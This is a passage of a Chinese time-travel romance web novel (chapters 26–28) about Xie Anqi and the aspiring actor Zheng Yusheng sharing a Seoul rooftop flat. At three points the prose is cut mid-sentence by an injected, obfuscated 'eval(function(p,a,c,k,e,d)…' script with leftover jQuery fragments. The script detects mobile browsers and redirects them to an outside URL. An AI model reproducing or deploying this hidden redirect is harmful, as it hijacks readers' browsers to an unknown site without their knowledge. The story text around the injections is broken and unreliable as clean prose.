这句话就像是郑禹胜一定会找到她的,窗户关上的那一刻,屋里只剩下他们的呼吸声。谢安琪靠着窗,雨水打在玻璃上,把整个世界隔成了另一边的湿与这一边的暖。 谢安琪看着他,忽然轻声说:“如果你现在说你记得我,我就留下。”郑禹胜看着她,没有马上回答,他走得近了一点,靠在她身边,两人之间只隔着一只还在滴水的毛巾。 “我一直在记。”他说,“只是我怕我记错了你想我记得的样子。” 谢安琪盯着他:“什么意思?” “我怕我记得的,是一个你自己都不再想成为的你。” 她忽然鼻子有点发酸。 “我没有变。”她说,“只是有时候太害怕自己会变。” 他点头:“那我们就现在记。” 谢安琪低头笑了一下,眼眶却还是红了,他看她笑,伸手轻轻拨了拨她耳边的头发,把那缕湿发捻到她耳后。 这个动作很慢,很轻,像怕弄碎什么,她没躲。 “你刚才说留下,是认真的吗?”他问。 她点头:“我也不知道怎么回去了。”这个回去,是指回到她原本的时间线里。 “那你就别回去。” “你不问我是哪来的?” “我怕我问了你就走了。” 谢安琪吸了吸鼻子,语气低下去:“那你还会问我是谁吗?” “不会。”他说,“你是你。” 他们坐回到沙发边,她披着毯子,他坐在她右边,两人各自喝着快要冷掉的热水。 “其实我们也没有真正开始过什么。”谢安琪说,“就已经经历了这么多‘该结束的理由’。” 郑禹胜看着她,不说话。 “但我现在才想开始。”她说,“从这一刻开始,不管你记得哪个我,我都在这里。” “那你想开始什么?” 谢安琪看他一眼。 “生活吧。”她说,“柴米油盐那种。” 郑禹胜笑了,“好。” …… 外面的雨还没停,但已经小了,风也变缓。他起身走到厨房,把水壶重新接上,说:“再来一点热水?” 她靠着沙发点头。 “但这次我要放蜂蜜。” 他一愣,转头看她:“你不是怕甜?” “现在想试试新的版本。” 他轻轻笑了。 屋里灯光暖黄,杯壁上有热气雾化成一层模糊,像整个空间都在往柔里退,她靠在沙发边闭上眼,郑禹胜说:“你要是睡着了,我就一直坐在这。” 她没睁眼,只是轻轻地“嗯”了一声。 “你不怕我跑了?” “你不会。” “你怎么知道?” “因为我们都已经说出口了。”谢安琪说,“哪怕只说了一次,也够了。” 他们安静了一会,快到深夜,谢安琪没有睡着,只是靠着他,听他的呼吸变得更慢。郑禹胜也没走,只是坐在那里,时不时看看她,手里捧着还温的杯子。 窗外雨落在屋檐上,像一首没写完的歌,一句句在重复。她忽然睁开眼,看着他。 “你愿意走一段我不知道结尾的路吗?” 郑禹胜不假思索:“愿意。” 谢安琪问:“哪怕这一段,只是某一条时间线?” 他点头:“只要你在这一条。” 谢安琪没再说什么,只是靠得更近了一点,他们都没有说“我爱你”,也没有说“我们开始吧”。 但那一夜,就是他们留在彼此世界里的第一根钉子,雨落在外面,而他们在屋里,终于都没再走开,屋子里光线柔得像一张旧底片。 他们之间没再说话,空气里飘着热蜂蜜水和雨水掺在一起的气味,还有一丝未完全褪去的紧张,谢安琪坐得更近了一点,她肩上的毯子滑落到手臂,她伸手去拉时不小心蹭到郑禹胜的指节。 郑禹胜没缩,谢安琪她也没动。 半秒之后,是他先凑过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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窗外风又起,但屋里很安静,像是他们终于在同一条时间线里睡着了,天刚亮,屋顶传来一声鸟叫。谢安琪醒得比想象中早。 她睁开眼时,郑禹胜还在身侧,呼吸均匀,额发略乱。屋子里还带着夜里的那股温热气,窗帘动了动,一缕风吹进来,把墙角一张便签纸轻轻吹翻。 她没动,只盯着他看了几秒,郑禹胜的手还搭在她腰侧,掌心很轻,像怕吵醒她。谢安琪轻轻起身,去厨房烧水,水壶还没响,他出现在门口,T恤穿得有点歪,眼神还没完全醒。 “你醒了?”她问。 “你不见了,我就醒了。” 谢安琪笑了一下,递给他杯水。 郑禹胜喝了一口,靠在门边:“昨晚是真的吧?” “不是梦。” “嗯。”他点头,又低声说,“有点像梦。” 她靠在洗手台边,声音平静:“我没走。” “我知道。” 郑禹胜补了一句:“但我还是怕你哪天醒来,就不认得我们现在这段。”她没说话,只转身替他把衣领理了理:“那我们就尽量多记一点。” “记到哪里?” “记到我们都不用再怕忘掉为止。” 郑禹胜抬手揉了揉她头发,没再说话,风再次从窗户吹进来,带着一点水汽和日光的香气,谢安琪说:“要不要今天下午一起去超市?” “干嘛?” “做顿像样的饭。” 郑禹胜想了想:“好。” 她说:“那你先洗脸,我做点吃的。” 郑禹胜点头,转身往洗手间走,脚步带起屋子一小节木地板的咯吱声,她站在原地,看着他背影,忽然想——原来真正的靠近不是拥抱后的沉默,而是醒来之后,还有人愿意在你身边刷牙、喝水、换衣服,和你一起走去想去的地方。 26.第26章 清晨六点五十七分,天已经亮了。屋塔房的窗户被风吹得晃了两下,灰蓝色的光从帘缝透进来,屋内光线一半冷,一半暖。 谢安琪醒来时,郑禹胜还没动。他侧着身,一只手搁在她肩头,指尖落在她发尾。谢安琪动了动,注意到郑禹胜眼睫微颤,像是快醒却舍不得。 她没动,只把头埋进他胸前那一小块没盖住的衣襟处,吸了一口温度。屋子里很静。水壶没烧,街角开车卖水果的车还没响音乐,只有一点点旧木板在风里轻响的声音。像是世界都还没准备醒来,而他们先一步醒在了彼此的怀里。 “起床吗?”他声音低哑,在她耳边问。 “现在几点?” “七点十五。” 谢安琪伸了个懒腰,皱着鼻子:“你今天不用拍戏吗?” “下午去剧组。” “那我们早上去趟市场吧。” “你想买菜?” 她点头,靠着郑禹胜笑:“总不能一直吃泡面和便利店年糕吧。” 郑禹胜伸手拍了拍她脑袋:“你想吃什么?” “豆腐锅、鸡蛋卷,再买点白菜。” “是你想吃,还是你想看我做。” “你做得也不难吃。” “你夸人能不能别那么勉强。” 谢安琪笑着推了他一把,起身找外套。窗外风稍大,拉开窗帘时,天已经放亮,一角阳光从水塔边斜照下来,把屋顶晒出一小块亮斑。 两人出门时,楼道里传来邻居家的收音机声,是某个80年代的老韩剧主题曲,旋律哼唱得温柔又慵懒。市场离屋塔房不远,穿过两条巷子、一段铁轨,就到了。 沿街是一些半老不新的店铺,电器修理行、豆腐坊、旧照相馆,还有一家只卖杂粮和香辛料的小铺子。谢安琪走得慢,不时停下来看菜价。郑禹胜则走在她右后侧半步,不急也不吵,只偶尔低头替她拎包。她挑了很久的青葱和香菜,又一脸严肃地对着一摊辣椒粉闻了三遍。 “你是不是以前做过调香师?”他看不下去。 “我拍过纪录片。” “辣椒粉也归纪录片管?” “拍酱料的起源。” 他笑出声:“你真是什么都能拍。” “但不是每个人都能留得住。”谢安琪不经意地说了一句。他听进去了,但没答,只轻轻拉住她衣角:“那你留着我就行了。” 她没说话,低头看着他指尖握着她袖口那一点布料。风吹过她耳边,带着市场里热气腾腾的包子香。 ……… 买完菜后他们绕回小巷,经过一处旧墙上涂鸦的转角。她停下脚步,指着一只红色猫头鹰:“这是不是你上次说那个‘街头剧团’的标志?” 他点头:“他们去年冬天在弘大的地下剧场演了一场没有剧本的戏,全是观众投影写对白。” “你有去?” “我在那场演了十五分钟。” 她一愣:“你演了?” “就一个旁白。” “还记得台词吗?” 郑禹胜想了想:“‘我记得她的脚步声,是先左再右,再一个转身往回看。’” 谢安琪轻轻笑了:“你是不是所有剧都在偷偷演我。” “我只演过你。” 谢安琪没再说什么,只拉着他的袖子继续走。他们穿过街口,阳光落在两人影子上,长长地拖在地砖上,一左一右,却始终不散。回到屋塔房时,屋顶上的水汽已经蒸干了。 阳光照在铁皮屋顶,发出一点点细碎热响。谢安琪把菜放下,开始洗米、择菜、切姜片。郑禹胜在旁边帮忙,一边洗碗,一边看她做饭的节奏。 “你刀工不错。” “我小时候一个人住过。” “怪不得不挑食。” “那你小时候挑食吗?” “我吃过一整个月的冷饭。” 谢安琪没接话,只是轻轻在锅里放入最后一片豆腐。 “现在你不用了。”她说。郑禹胜没说话,只把水龙头关掉,走到她身边,一只手搭上她肩膀。 “我现在每天吃热饭。” “那你以后也要自己热。” “如果你在的话,”他贴近谢安琪耳边,“我就不只热饭,还热你。” 谢安琪笑着回头,扬起手里的锅铲:“你要不要尝尝今天的‘家常感情锅’?” 饭煮得慢。她在锅边站了半小时,把白菜焯过三次水,还特地用酱调了一碗不辣的蘸汁。郑禹胜在一旁擦桌、放碗,手脚笨得刚好让谢安琪忍不住笑出来。 “你是故意摆得歪一点让我纠正的吗?” “你不是喜欢指挥吗?” 她抬头白了郑禹胜一眼:“你是不是误会我了?” “不是误会,”郑禹胜一边用拇指抹干碗沿上的水,“是欣赏。” 谢安琪哼了一声,把锅盖揭开:“尝一下,今天是我认真炖的。” 郑禹胜舀了一口,吹了吹放进嘴里。 “味道像家。”他说。 谢安琪愣了一下,看着他笑的样子,忽然也安静下来。 “家是什么味道?” “像有人愿意一大早陪你走过菜市场,回家还给你切葱花。”谢安琪没说话,只把手里的锅铲递给他:“那你也来切一次。” 郑禹胜乖乖接过,她站在一旁,看他一板一眼地对着菜板,仿佛正在“修补自己的某一部分人生经验”。 …… 饭快吃完的时候,有人敲门。是一位住在隔壁新来的太太,手里提着刚做好的芝士年糕,说是“多了两块,送你们尝尝”,谢安琪赶紧接过,弯腰鞠了一躬:“谢谢您!” 那位太太看着她笑了笑,又瞥了郑禹胜一眼:“你们……是新搬来的小夫妻?” 谢安琪愣了一秒。郑禹胜笑了,点头也不点头:“差不多。” “唉哟,小房子住着最亲切,两个人就要像你们这样。” 老人家说完挥挥手离开了。谢安琪站在原地,手里的年糕还冒着热气。她回头看郑禹胜,他正低头收拾碗筷,像什么都没听见。 “你刚才是默认了?” “我只是怕她尴尬。” “那你会不会对每个阿姨都说‘差不多’?” 郑禹胜转过头,笑得一脸无辜:“我只说一次。以后如果你允许,我可以说‘是’。” 谢安琪心口像是被年糕那股甜香烫了一下,没接话,只默默拆开包装,小口咬了一口。 …… 饭后两人并排在楼顶晒衣服。风很大,衣物被风吹得一边卷起,一边在空中扭着身子。谢安琪拿了衣夹压住角,郑禹胜站在她身边,撑着一只木衣杆帮她撑起来。 “你小时候是不是也这么晾衣服?” “我家以前在乡下,衣服都用绳子拉两棵树晾。” “你家在南道?” “庆尚北道,蔚山。” “那你第一次来首尔是什么时候?” “初中毕业,我一个人背着袋子来的。”他顿了顿,“住在半地下。” “现在你在屋塔房了。”她看着他说。 “那是因为你也在。” 谢安琪一笑:“我记得我最初选这套房的时候,其实是因为阳光够。” 她没有说真实原因,或者说现在的她也不知道真实的原因。 “那你以后要不要把‘阳光’的定义,重新算上我?” 谢安琪低头咬着下唇,没说“好”,也没说“不”。只是用力地夹好最后一件衬衫。 …… 晚上九点,他们坐在天台,喝着刚泡好的麦茶。天边还有一抹淡蓝的残光,月亮藏在云后,只露出一点柔轮。 “你以后还会搬家吗?”谢安琪忽然问。 “你说以后是多久以后?” “比如,你如果红了。” “我红了你就赶我走?” “我是说你红了,会不会觉得屋塔房太寒酸?” 郑禹胜没答,过了一会儿,他说:“屋塔房不是寒酸,是小。” “你不是喜欢自由的人?” “我也喜欢你坐在这儿,不穿袜子、喝茶前会先闻一口的样子。” 谢安琪没看郑禹胜,只把茶杯往嘴边凑了一点,轻轻说:“我现在是确定在这一条线上了。” “嗯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634361|169893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “那你呢?” “我在等你说你留下来。” “我不是说了吗?” “说了。”他点头,靠近一点,“但我想听你每天都说一遍。” 风更轻了。两人靠得更近一点,脚碰着脚。屋顶上那盏小灯还亮着,照在两人影子边缘,轻晃,又落定。 “你以后要是不拍戏了,会做什么?”谢安琪问。 “开一间小馆子,卖豆腐汤。” “你会不会红得不想开馆子了?” “我会开在你路过的街口。” “你怎么知道我会路过?” “因为我会等你。” 谢安琪没再说话,只是把头靠到他肩上。郑禹胜伸手握住她的手指,两人坐在天台木板上,像是所有电影里都会出现的那场“远景”。只是这一幕没有镜头。也不需要导演。他们终于是自己生活里的主角了。 …… 夜里十一点,两人回到屋里。郑禹胜打开吊灯,屋子被昏黄光晕染亮。他走去厨房收拾桌面,谢安琪换了拖鞋,从窗边拿下风干的衣物。 “你明天几点出门?”她一边叠衣服一边问。 “中午前。导演让提前去排练一场群戏。” “几点回来?” “不知道,但我会尽量早点回来。”郑禹胜顿了顿,“你明天还拍东西吗?” “只拍一场,拍完会去图书馆写资料。” “我来接你吧。” 谢安琪回头笑了笑:“你又不一定来得及。” “我会来。”郑禹胜语气很轻,却很稳,“你等我一下就好。” …… 谢安琪整理完衣物,把桌上那本相册拿出来,翻了几页。里面是一些她早期拍的城市照片,还有一两张他们第一次在屋顶拍的傍晚剪影。 “你以后会忘了这些吗?”她问。 “不会。”他坐在沙发上,接过那本本子,翻到一页,“这个你拍的特别像电影。” “我有剪过一个版本,但没发出去。” “为什么?” “因为还没写好结尾。” 他想了想:“要不我们拍一个‘后来’。” “后来?” “对,比如后来你搬走了,或者我不再演戏了,我们怎么重新遇见。” 谢安琪笑:“你这人怎么老想‘如果分开’。” “因为我想把‘再遇见’也拍进来。” 谢安琪没说话,只静静地看着郑禹胜。灯光下,郑禹胜的眼神像那晚雨后靠近时一样,没什么表情,却藏着全部认真。她靠近了一点,伸手指了指他脸上的光影:“这边有点暗。” “你要补光?” “不。”她低声说,“我想记住这个角度的你。” “那我要摆正吗?” “不用,你这样就好。” 郑禹胜和谢安琪靠在一起,她头轻轻靠着他肩膀。相册合上,落在桌面,发出轻轻的一声响。夜更深了。她收了厨房,他铺了沙发,像约定好要“各自回位”,却又不舍得真的结束。 “那我睡沙发?” 她点头。他看她一眼:“你这样太顺从了,没意思。” “你不是要拍‘后来’吗?现在就是‘分房’的铺垫。” “你真的是,编剧魂太重。” “那你明天起床就拍吧,记得打光。” “好。”他说,“只拍你醒来那个镜头。” 她看了他一眼,没说话。 但转身进屋之前,轻轻说了一句:“你拍的时候,我会醒着。” 那一夜很安静,风轻轻扫过瓦面,屋里连杯子冷却的声音都听得见,他们都没再讲话,但彼此的心,却像在静默里写了一段剧本,有过日常、有过争执、有过不确定,但也有过此刻,有过她擦桌子时他站在一边看着的平静;有过他拆调料包时她皱眉调料太重时的默契;也有过天台上,她脚背靠着他脚背时,他没有抽开的沉默。 这一夜之后,他们都知道:未来可能还有错位、有现实、有奔波;但此刻这屋塔房的灯光,是他们能在所有时间线里选中的“温暖的分支”。 27.第27章 清晨六点,屋塔房的风扇还在有节奏地转着,空气微闷。郑禹胜醒得很早。不是被闹钟叫醒,而是没睡好——他反复梦见排练场,梦里他站在一排身形整齐的演员中间,导演拿着剧本,不断用粉笔点着“你”“你”“还是你”。 他起床时谢安琪还没醒。她侧睡,眉间微蹙,呼吸轻缓,似乎梦得也不太安稳。郑禹胜轻轻替她盖了盖毯子,又轻手轻脚地去厨房烧水,准备离开前不打扰她太多。 锅边放着一张便利贴,是她昨晚贴上的: “记得带水壶,外面拍戏容易渴。” 郑禹胜的手停了一秒,轻轻把纸撕下,折成四折,塞进钱包里。他知道,这次进剧组可能要好几天才回得来,生活节奏第一次开始脱节。而他们之间,还没有建立起那种“可以任意错开又自动靠拢”的习惯。这是一种告别,虽不重,却实实在在开始拉扯。 …… 郑禹胜离开的时候没吵醒她。但他刚关门,谢安琪就睁开了眼。她听见关门声的那一刻,突然意识到——他走了,是“进入别的节奏”那种走。 她坐起身,拉开窗帘。天蒙蒙亮,天台上晾着昨天傍晚收不及的衣服,风一吹,摆动得像人影。她抱膝坐了一会儿,注意到他留下的信件:【别吃太快,记得拍东西的时候戴夹子别让头发乱了。】 谢安琪看着这句话,忽然不知道要怎么回。“你先照顾好你自己吧。”她轻声说了一句。然后把信翻过来,坐在床边发了一会呆。 …… 下午她去了大学路采访。那是一家濒临关闭的旧电影院,一位年近七十的放映员坚持每天把拷贝装入放映机,只为最后一次影像落幕时的“仪式感”。 她拍完两个小时,连饭都没吃,就靠在外墙的台阶上看录下来的视频片段。对面是一条老胡同,有个孩子在吃辣炒年糕,一边吸鼻子一边舔指头。 她突然想到,郑禹胜小时候,是不是也像这样 有点倔,有点饿,吃到辣的也不说话,只盯着食物发呆。谢安琪点开相册,看着他们在屋塔房阳台上拍的一张照片。郑禹胜正在低头洗碗,围着围裙,阳光洒在他手臂上。 照片像一帧缓慢电影,没有对白,却很热。她看着那张照片,忽然很想跟说一句话,但最终,她只是呆呆看着窗外,没有再出声。 …… 第二天清晨,她独自一人坐KTX去了釜山。临走前留了饭盒在冰箱,贴了一张纸条:“三天后回来,别让菜坏了。” 她没有和他说自己去釜山。不是故意隐瞒,而是不想让他觉得需要报备——他们还不是必须汇报生活的“安全关系”,还只是一个“彼此等着被靠近”的模糊阶段。 火车窗外掠过海平线的那一刻,她忽然想起他第一次提到海的时候说:“海的声音不像风,是慢的,像拖着呼吸。” 她靠着车窗闭上眼。风很快,时间很快。她知道三天不是久,但对于刚刚建立起一点共同生活节奏的他们来说,这样的分别带着一丝说不清的情绪。谢安琪心里默数着,还有几次这样的实验可以重复,而不让彼此产生裂缝。 …… 郑禹胜在剧组连拍两场夜戏。导演脾气急,场记连连喊错码,他憋着火没发作,只在收工后一个人坐在道具室门口点了一根烟。 他已经好几天没回那间屋塔房。剧本上有谢安琪贴的标签,场记本里还有她写的便利贴提醒练声前别吃太饱。他翻开剧本,看到那张便利贴时忽然心跳快了一下。 拍完一场重头戏,他打开BP机,有七条未读消息。都是小事,她说釜山路边小吃摊、她在便利店拍到两只猫、还有一张“旅馆桌上的台灯”——他说过他喜欢这种旧玻璃灯罩。 她什么都没问,郑禹胜却忽然想问很多。比如她拍完了没;吃饭了吗;会不会睡不着;会不会因为他的晚归而觉得他们又慢慢回到了不对齐的那段时间。他开始打字,又删掉,最后只发了一句:“回来以后我们去海边住一晚吧。” (1 那晚她发完信息后,等了整整一个小时,还是没有收到回复的消息。她坐在旅馆窗边,外面是釜山夜市的霓虹反射,路边有人唱歌,唱的是九十年代的老情歌,调子快,歌词却很苦。 她等了许久,BP机还是没弹出任何回复,她放下手机,拉上窗帘,洗了个冷水澡,让自己不去多想,可等躺下时,脑袋里那句“你现在也还记得那天的光线吗?”还是像字幕一样浮在脑后。 她盯着天花板,忽然冒出一个念头:如果我今天没有发照片,他会不会根本就不想起我今天拍了什么。这个想法太轻,却又沉得像被风吹歪的路灯。 …… 凌晨两点,手机震了一下,她睁眼翻开,是他回复的:“刚收工,今天灯打得不对,来回补拍三次。你那边早点睡。” 语气平稳,也没提她白天发的那些图。谢安琪打了几个字,又删掉,最后只发了个“好”。 然后合上手机,继续盯着黑暗,她忽然有点难过,不是因为对方晚回复,而是他回得那么稳重、有礼,像是从情侣重新退回了朋友的问候?谢安琪把BP机扔到一边,整个人卷进被子里,却怎么也找不到那晚屋塔房窗帘里吹进来的风的味道。 …… 谢安琪她做了一个梦,梦里郑禹胜站在一排灯下,对着一群人鞠躬,说:“谢谢大家的喜欢。” 台下闪光灯此起彼伏,她站在最后一排,手里拿着那张相册,一页一页翻着他们在屋塔房拍的剪影,她试图往前挤,却一直被人流推回去。等谢安琪好不容易靠近台口,他转身离开了舞台,和助理说笑着走进后台。 谢安琪大声喊他名字,但他没有回头,然后醒了。旅馆房间的灯没有关,窗帘也没拉严,天色泛着淡蓝。她坐起来,觉得胸口空了一块。 梦里那句没喊出口的“你看见我了吗”,像是醒来后留在喉咙的钝刺。谢安琪回到首尔那天,他还在剧组,没能来接她。 她没有责怪,只是打车回了屋塔房。房间有他洗过没晾干的衣服,有两本摊开的剧本,还有她留下的便利贴依旧贴在冰箱门上。 她轻轻关上门,把行李放下,屋里有阳光,但她心里没亮。她坐到桌边,翻开那本剧本,发现夹页里夹着一张她曾随手写下的便利贴记得练声之前多喝水。 那一瞬间谢安琪有些想哭,不是委屈,也不是思念而是这张字条像提醒她:他确实把谢安琪留在生活里,但生活不是感情的全部,谢安琪想,如果两个人不再有共同节奏,那彼此留下再多的痕迹,也只是日常物证。 …… 晚上谢安琪整理相机卡时,发现前几天拍到的猫,在视频里蹲在便利店灯光下,左右晃着脑袋像在等人,她盯着画面很久,然后录了一段音频,格式是老式磁带模仿器,自带杂音。 她只说了一句话,我拍不清梦里的你,但我还是想录下来,哪怕你不一定听,她把音频刻进一张录音卡,贴了标签,写下编号014。 然后出门,走到他们第一次在雨夜接吻的那家便利店,把卡带放进了玻璃台前的留言盒,谢安琪没告诉他,只是默默想,如果哪一天他真记得了这些片段,那这段话,也许会自动播放。 通话发生在她回首尔的第三天深夜,他刚拍完一场车内对戏,坐在化妆车后排,眼睛发酸,喉咙也哑了,谢安琪给他发消息:“今天怎么样?” 郑禹胜回复:“还可以,累。”她打过去,响了七声才接。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15643513|169893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你还在忙?” “刚拍完。” 谢安琪顿了一下:“我有个问题。” “你说。” “你是不是这几天都没看我的消息?” 他沉默了一秒:“我看了,但没有时间回你。” “你知道我发了什么吗?” “你去了釜山。” “那看来你是看了的?”谢安琪没有再追问,只问:“你为什么没回消息?” “我怕聊起来就会分心。” 谢安琪没说话,通话里只剩下他呼吸的回音和耳机线轻轻擦过衣领的声响。 “那你这几天有没有想起我们屋顶上吃年糕的那晚?” “我想起来了。” “你有没有觉得我们已经开始走不同节奏了?” “是。” “你没打算拉我一把?” 郑禹胜轻声说:“我不知道你还想不想走这条线。” “你什么意思?” “你看起来比我清楚这条线的走向。你知道我未来会变成什么样的人,知道我要经历哪些试镜、被谁挑选、拍什么角色……” 谢安琪忽然意识到问题出在哪了,她没有藏好未来的信息,可是郑禹胜是怎么知道的,是她说的?还是他猜到的,不等谢安琪继续思考,郑禹胜的话再继续,他说:“你是不是已经知道我现在所经历的一切都会发生?” 谢安琪没有否认,但也没承认,谢安琪只是说:“你为什么不问我是不是在帮你?” “那我是不是只是你过往的一部分?” 这句话像一记闷拳,落在她心口最软的地方,她声音低下去:“我不是这样想的。” “那你为什么总是站在一个‘知道更多’的位置?” “我只是……想帮你避开一些会受伤的路径。” “可有些路径,我不走就成不了我。” “你想成为什么样的人?” “我想自己决定。” 谢安琪沉默了,窗外风吹进来,把便利贴从冰箱门上吹落,她俯身捡起,却觉得手指发抖,他继续说:“你总是先知道剧情,又想不让我察觉。可你演得没那么好。” 这句话不重,却让她觉得自己像一页剧本边缘,正被剪刀小心翼翼地裁掉。谢安琪坐在床边,灯还没关。 郑禹胜在电话那端说:“我不是不想你留下来。我只是怕你留下来的原因,是因为你知道我会红,会出名,会变成你愿意守护的那种人。” 谢安琪轻声说:“可我也怕你只爱那个未来的我。” 或者说也害怕未来的那个他其实也并不爱她。 “我现在不爱你吗?” 谢安琪没回答,郑禹胜问:“你在怕什么?” “我怕我在你时间线里只是过客。” “你不是。” “那你为什么不敢说你记得?” 郑禹胜没有回话,而谢安琪终于明白了,他不说,是怕她确认这一切是重演,而他,只是她重返的某一幕。 …… 这晚通话没有道别。她挂掉那一刻,眼睛干得像过曝的底片,什么也冲不出来。他坐在化妆车后排,一只手握着手机,背后是灯塔模型的道具和假海景幕布。 这一夜,他们说了最多话。却也第一次,没有任何一句话留下回声。凌晨两点,她发了条消息:“你慢慢决定你要成为什么样的人。” 他看着那行字许久,没回。但他打开钱包,从最深一层拿出那张她写的便利贴:“记得带水壶,外面拍戏容易渴。” 郑禹胜想她知道的太多,可她的担心也是真的。谢安琪不是导演,不是旁观者。她只是想,在这一条线里,不要被忘记。 28.第28章 春末的首尔夜风带着木槿花气,吹进屋塔房的窗缝时,谢安琪正坐在地板上看着电脑。光标在软件里上跳来跳去,闪现着一些不完整的音频和片段。 屋子里很静,电视没开,手机屏幕也暗着。打字到一半,她起身去周围走动,她把视线落在停窗外那是便利店玻璃反光下,他看着她的侧脸。 那一刻像一个旧时光的影子,站在她生活的背后,不说话,却始终不退。她靠着墙,转身回去把电脑合上。 屋子小得刚好能让情绪发酵,她忽然觉得自己像一段永远过曝的底片,能见光,却难以被冲洗成影像。 …… 最近的采访不能放弃,那天傍晚她去了一趟弘大,她是及时到了,但对方却临时被对方放了鸽子。谢安琪没有立刻离开,而是在街口那家他们曾看过即兴演出的地下剧场门前坐了一会儿。 门口新贴的海报被风吹起一角,露出下面一张泛黄的旧节目单,她伸手去按住,看到海报上熟悉的几个名字,其中一个,是郑禹胜。 她怔了一秒。那张节目的主图是他的剧照,眼神安静,侧脸清晰,像在对谁倾诉。她站起身,看着那张照片很久。 直到风起,又吹落一点尘。她才意识到——她已经不能再站在原地等了,郑禹胜正在往前走。 …… 第二天下午三点,她在屋塔房下的小超市门口买咖啡。店员是个戴眼镜的大学生,看了她一眼:“你是屋顶那间的姐姐吧?你男朋友刚刚来过。” 她一愣:“他来干嘛?” “说要找你,看你不在家,问我们有没有看你来过这里。” “然后呢?” “然后我说你好像刚出去,他就站了一会儿,没说话,最后放下了袋子就走了。” 她接过袋子,里面是两瓶她爱喝的蜂蜜柚子茶,还有一小包咖啡豆,柚子茶是他们第一次一起去市场时她买过的牌子,她忽然觉得袋子有点沉,沉的是那句没被说出口的——“我来看你了。” 他最近都没有在家住,不知道是不是有什么事情,总是往外跑去,但郑禹胜也也没有完全没有动静。这几天他断断续续发了三条消息。一是:“屋子里有没有什么坏了?”二是:“你明天会在吗?”三是:“我周末应该能回去。” 谢安琪都没回,不是赌气,也不是退缩。只是她想再等一点,再确定一点。她不想在对方不确定时先拉他一步。 谢安琪只是想等他自己走回来,哪怕慢一点。 那天晚上,她坐在阳台边喝柚子茶,手里握着那包咖啡豆,没拆,身边放着和苹果,红色的,风从铁皮水塔背后吹过来,屋顶晃了一下。 她想起从前在另一个城市她拍过一个纪录片,主角是一个五十岁的女演员,重回剧场排练,谢安琪曾在镜头外问她:“你怕重来吗?” 女演员说:“我怕不怕没关系,我还是要演那场戏。” 谢安琪低头咬了一口苹果。味道有点甜,又带点苹果皮干涩的口感,像她现在的情绪一样,谢安琪心想:或者,就等他来。等他把“想继续演的那场戏”,重新走一遍给她看。 郑禹胜回来那天,是周五,黄昏。她正坐在屋内收拾衣柜,听见门口传来两声敲门。不是钥匙转动的声音,而是指关节轻叩的节奏。 她走过去,开门。郑禹胜站在门外,手里提着一袋草莓和一盒抹茶蛋糕,像是从便利店直接走上来的样子。 “我回来了。”他说。 她点了点头,没有让开。他看着她,眼神安静了一瞬。 “你不问我为什么现在回来?” “你不是说周末吗?” “我原本以为你不会在家。” 她让开了门:“进来吧,风大。” 郑禹胜走进屋,把袋子放在桌上,动作比从前慢了一点。像是知道这一次靠近不能太快,否则容易被退回原地。 …… 谢安琪没立刻说话,只默默地把蛋糕拿出来,找了两个小盘,他站在旁边看她,忽然问:“你最近还拍吗?” “还可以。” “那…你拍我拍得还够吗?” 她顿了一下,抬头看他:“你现在是不是觉得自己是镜头里的人物?” “有时候觉得。” “那你为什么回来?” “因为我想看看现实里的你。” 这句不轻不重,却像刚好压在那根悬着的弦上,谢安琪没说话,只把盘子递给他。 “草莓要洗一下。” “你吃。”他说,“我买来就是给你洗的。” 他们坐在小桌边吃蛋糕,外头天色一点点暗下来。黄昏光透进屋里,把桌面染成一块温暖的金。郑禹胜咬了一口草莓,偏头看她:“你不问我这些天在想什么?” “你说吗?” “我每天都在想你是不是会删掉说过的话。” “我没有。” “确实,你把这些留下来了,是想提醒我还欠你一个回答吗?” “不是。”她盯着盘子里的蛋糕,“我怕你忘了我们一起走过的节奏。” “我没忘。” 郑禹胜顿了顿,轻声说:“但我想重新学一次,怎么跟你同步。” 谢安琪抬头看他,没说话,风从窗缝里吹进来,带动他发梢轻晃。她忽然很想靠近。 郑禹胜看着她,突然说话,“你那天没听我录的那段音频。” “我后来听了。” “哪天?” “昨天。” “你听完之后,有什么感觉?” 郑禹胜望着她,没急着答,良久,他说:“我觉得你不是在讲给我听,是在讲给你自己听。” “什么意思?” “你在确认你在这个时间线里的声音有没有被听见。” 她没吭声。 “你一直很努力在记录、捕捉、备份,可我觉得你真正想要的是回应。” 郑禹胜的话像是照见了她心里那个透明却无人指认的部分,她放下叉子,声音低了:“那你回应了吗?” “对,所以我来了。” 屋外夜色降下,整个屋塔房像是浮在一个沉静的湖面上。谢安琪起身拉上窗帘,转头看他:“你想喝茶吗?” “有姜茶吗?” 她点头。郑禹胜走过去接水烧,动作熟练,像是在帮她维持某种平衡。她在一旁看着他,忽然轻声问:“如果有一天我真的消失了呢?” “我不会让你走。” “不是你让不让,是时间的选择。” “那我就留下来,等时间转回来。” “你不怕你会忘记我?” “我怕。”他说,“但我会一直找线索。” 谢安琪走过去,靠着水槽站在他身边。 